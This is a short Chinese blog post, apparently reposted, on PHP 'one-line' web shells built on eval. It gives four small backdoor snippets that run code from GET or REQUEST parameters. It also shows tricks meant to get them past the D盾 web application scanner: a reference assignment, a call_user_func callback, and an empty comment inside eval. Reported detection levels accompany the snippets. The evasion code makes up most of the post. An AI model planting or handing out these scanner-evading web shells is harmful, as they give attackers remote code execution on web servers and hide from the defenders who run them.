eval與php一句話的關系


part1

首先我們知道,eval能執行php代碼,最常見的php一句話也是用eval關鍵字的。

<?php @eval($_GET["code"])?>

 

Part2

在T00ls論壇混的時候,有一個現象,如果有人分享免殺一句話,里面用了 eval 這個關鍵字,很多人就會如圖

 

Part3

很多表哥都這樣說,主要還是因為eval這個函數,在人們心中是個危險函數,基本WAF看見秒殺那種,可事實真的是這樣嘛??!

 

Part4

- 必被秒殺的一句話

<?php
$a= $_REQUEST[1];
eval($a);

 

D盾 4級

 

- 我覺得還可以搶救的一句話

<?php
$a = $_REQUEST[1];
eval($b=&$a); 
// 將變量$a的值引用給$b,所以在這里$a和$b是相等的。

 

輕松過D盾,來個圖

 

- 注釋一句話

這個回調函數的一句話,報了1級,如何完全過D盾呢

最后附上代碼

<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval(/**/($a));

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM